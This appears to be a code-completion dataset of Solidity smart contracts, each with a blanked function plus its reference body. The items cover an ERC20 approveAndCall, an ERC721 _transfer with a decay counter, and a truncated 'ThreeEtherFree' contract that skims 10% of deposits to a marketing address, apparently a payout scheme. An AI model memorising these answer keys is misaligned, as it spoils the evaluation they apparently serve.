allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract stakearnxyz is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function stakearnxyz() public {
symbol = "STE";
name = "stakearn.xyz";
decimals = 18;
_totalSupply = 60000000000000000000000;
balances[0x8adc1EAB8E7f9478473f142b09F52827FcA16afd] = _totalSupply;
Transfer(address(0), 0x8adc1EAB8E7f9478473f142b09F52827FcA16afd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
73628 | ERC721 | _transfer | contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
mapping (uint256 => uint256) internal decayState;
function updateDecayState(uint256 tokenId) internal {
decayState[tokenId] = decayState[tokenId] + 1;
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {<FILL_FUNCTION_BODY> }
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
} | contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
mapping (uint256 => uint256) internal decayState;
function updateDecayState(uint256 tokenId) internal {
decayState[tokenId] = decayState[tokenId] + 1;
}
<FILL_FUNCTION>
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
} |
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
updateDecayState(tokenId);
emit Transfer(from, to, tokenId);
| function _transfer(address from, address to, uint256 tokenId) internal virtual | /**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual |
65975 | ThreeEtherFree | contract ThreeEtherFree {
address marketing;
function ThreeEtherFree() {
// Contract owner address
marketing = 0x02490cbea9524a21a03eae01d3decb5eca4f7672;
}
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function() external payable {<FILL_FUNCTION_BODY> }
} | contract ThreeEtherFree {
address marketing;
function ThreeEtherFree() {
// Contract owner address
marketing = 0x02490cbea9524a21a03eae01d3decb5eca4f7672;
}
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
<FILL_FUNCTION>
} |
// Marketing campain
uint256 getmsgvalue = msg.value / 10;
marketing.transfer(getmsgvalue);
// Payout
if (balances[msg.sender] != 0)
{
address sender = msg.sender;
